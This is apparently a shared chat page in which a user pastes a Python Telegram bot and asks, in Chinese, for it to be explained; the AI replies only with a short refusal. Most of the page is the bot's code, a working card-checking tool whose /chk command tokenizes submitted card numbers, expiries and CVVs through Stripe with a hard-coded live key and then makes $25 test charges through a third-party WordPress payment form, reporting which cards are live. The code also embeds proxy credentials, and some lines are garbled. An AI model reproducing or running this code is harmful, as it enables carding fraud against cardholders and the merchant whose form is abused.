Bot Configuration Code
作成日: 2024年12月3日
使用モデル O1 Preview by Chat01
作成日: 2024年12月3日
使用モデル O1 Preview by Chat01
介绍下代码
import logging
import os
import requests
import time
import string
import random
import yaml
import asyncio
import re
from aiogram import Bot, Dispatcher, executor, types
from aiogram.utils.exceptions import Throttled
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from bs4 import BeautifulSoup as bs
CONFIG = yaml.load(open('config.yml', 'r'), Loader=yaml.SafeLoader)
TOKEN = os.getenv('TOKEN', CONFIG['token'])
BLACKLISTED = os.getenv('BLACKLISTED', CONFIG['blacklisted']).split()
PREFIX = os.getenv('PREFIX', CONFIG['prefix'])
OWNER = int(os.getenv('OWNER', CONFIG['owner']))
ANTISPAM = int(os.getenv('ANTISPAM', CONFIG['antispam']))
storage = MemoryStorage()
bot = Bot(token=TOKEN, parse_mode=types.ParseMode.HTML)
dp = Dispatcher(bot, storage=storage)
logging.basicConfig(level=logging.INFO)
loop = asyncio.get_event_loop()
bot_info = loop.run_until_complete(bot.get_me())
BOT_USERNAME = bot_info.username
BOT_NAME = bot_info.first_name
BOT_ID = bot_info.id
proxies = {
'http': 'http://qnuomzzl-rotate:[email protected]:80/',
'https': 'http://qnuomzzl-rotate:[email protected]:80/'
}
session = requests.Session()
letters = string.ascii_lowercase
First = ''.join(random.choice(letters) for _ in range(6))
Last = ''.join(random.choice(letters) for _ in range(6))
PWD = ''.join(random.choice(letters) for _ in range(10))
Name = f'{First}+{Last}'
Email = f'{First}.{Last}@gmail.com'
UA = 'Mozilla/5.0 (X11; Linux i686; rv:102.0) Gecko/20100101 Firefox/102.0'
async def is_owner(user_id):
return user_id == OWNER
@dp.message_handler(commands=['start', 'help'], commands_prefix=PREFIX)
async def helpstr(message: types.Message):
# await message.answer_chat_action('typing')
keyboard_markup = types.InlineKeyboardMarkup(row_width=3)
btns = types.InlineKeyboardButton("Bot Source", url="https://github.com/xbinner18/Mrbannker")
keyboard_markup.row(btns)
FIRST = message.from_user.first_name
MSG = f'''
Hello {FIRST}, Im {BOT_NAME}
U can find my Boss <a href="tg://user?id={OWNER}">HERE</a>
Cmds /chk /info /bin'''
await message.answer(MSG, reply_markup=keyboard_markup,
disable_web_page_preview=True)
@dp.message_handler(commands=['info', 'id'], commands_prefix=PREFIX)
async def info(message: types.Message):
if message.reply_to_message:
user_id = message.reply_to_message.from_user.id
is_bot = message.reply_to_message.from_user.is_bot
username = message.reply_to_message.from_user.username
first = message.reply_to_message.from_user.first_name
else:
user_id = message.from_user.id
is_bot = message.from_user.is_bot
username = message.from_user.username
first = message.from_user.first_name
await message.reply(f'''
═════════╕
<b>USER INFO</b>
<b>USER ID:</b> <code>{user_id}</code>
<b>USERNAME:</b> @{username}
<b>FIRSTNAME:</b> {first}
<b>BOT:</b> {is_bot}
<b>BOT-OWNER:</b> {await is_owner(user_id)}
╘═════════''')
@dp.message_handler(commands=['bin'], commands_prefix=PREFIX)
async def binio(message: types.Message):
await message.answer_chat_action('typing')
ID = message.from_user.id
FIRST = message.from_user.first_name
BIN = message.text[len('/bin '):]
if len(BIN) < 6:
return await message.reply(
'Send bin not ass'
)
r = requests.get(
f'https://bins.ws/search?bins={BIN[:6]}'
).text
soup = bs(r, features='html.parser')
k = soup.find("div", {"class": "page"})
INFO = f'''
{k.text[62:]}
SENDER: <a href="tg://user?id={ID}">{FIRST}</a>
BOT⇢ @{BOT_USERNAME}
OWNER⇢ <a href="tg://user?id={OWNER}">LINK</a>
'''
await message.reply(INFO)
@dp.message_handler(commands=['chk'], commands_prefix=PREFIX)
async def ch(message: types.Message):
await message.answer_chat_action('typing')
tic = time.perf_counter()
ID = message.from_user.id
FIRST = message.from_user.first_name
try:
await dp.throttle('chk', rate=ANTISPAM)
except Throttled:
await message.reply('<b>Too many requests!</b>\n'
f'Blocked For {ANTISPAM} seconds')
else:
if message.reply_to_message:
cc = message.reply_to_message.text
else:
cc = message.text[len('/chk '):]
textif len(cc) == 0: return await message.reply("<b>No Card to chk</b>") x = re.findall(r'\d+', cc) ccn = x[0] mm = x[1] yy = x[2] cvv = x[3] if mm.startswith('2'): mm, yy = yy, mm if len(mm) >= 3: mm, yy, cvv = yy, cvv, mm if len(ccn) < 15 or len(ccn) > 16: return await message.reply('<b>Failed to parse Card</b>\n' '<b>Reason: Invalid Format!</b>') BIN = ccn[:6] if BIN in BLACKLISTED: return await message.reply('<b>BLACKLISTED BIN</b>') # get guid muid sid headers = { "user-agent": UA, "accept": "application/json, text/plain, */*", "content-type": "application/x-www-form-urlencoded" } # b = session.get('https://ip.seeip.org/', proxies=proxies).text s = session.post('https://m.stripe.com/6', headers=headers) r = s.json() Guid = r['guid'] Muid = r['muid'] Sid = r['sid'] postdata = { "guid": Guid, "muid": Muid, "sid": Sid, "key": "pk_live_YJm7rSUaS7t9C8cdWfQeQ8Nb", "card[name]": Name, "card[number]": ccn, "card[exp_month]": mm, "card[exp_year]": yy, "card[cvc]": cvv } HEADER = { "accept": "application/json", "content-type": "application/x-www-form-urlencoded", "user-agent": UA, "origin": "https://js.stripe.com", "referer": "https://js.stripe.com/", "accept-language": "en-US,en;q=0.9" } pr = session.post('https://api.stripe.com/v1/tokens', data=postdata, headers=HEADER) Id = pr.json()['id'] # hmm load = { "action": "wp_full_stripe_payment_charge", "formName": "BanquetPayment", "fullstripe_name": Name, "fullstripe_email": Email, "fullstripe_custom_amount": "25.0", "fullstripe_amount_index": 0, "stripeToken": Id } header = { "accept": "application/json, text/javascript, */*; q=0.01", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "user-agent": UA, "origin": "https://archiro.org", "referer": "https://archiro.org/banquet/", "accept-language": "en-US,en;q=0.9" } rx = session.post('https://archiro.org/wp-admin/admin-ajax.php', data=load, headers=header) msg = rx.json()['msg'] toc = time.perf_counter() if 'true' in rx.text: return await message.reply(f'''
✅<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CHARGED 25$
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
textif 'security code' in rx.text: return await message.reply(f'''
✅<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CCN
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
textif 'false' in rx.text: return await message.reply(f'''
❌<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #Declined
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
await message.reply(f'''
❌<b>CC</b>➟ <code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ DEAD
<b>MSG</b>➟ {rx.text}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')
if name == 'main':
executor.start_polling(dp, skip_updates=True, loop=loop)
抱歉,我无法协助完成您的请求。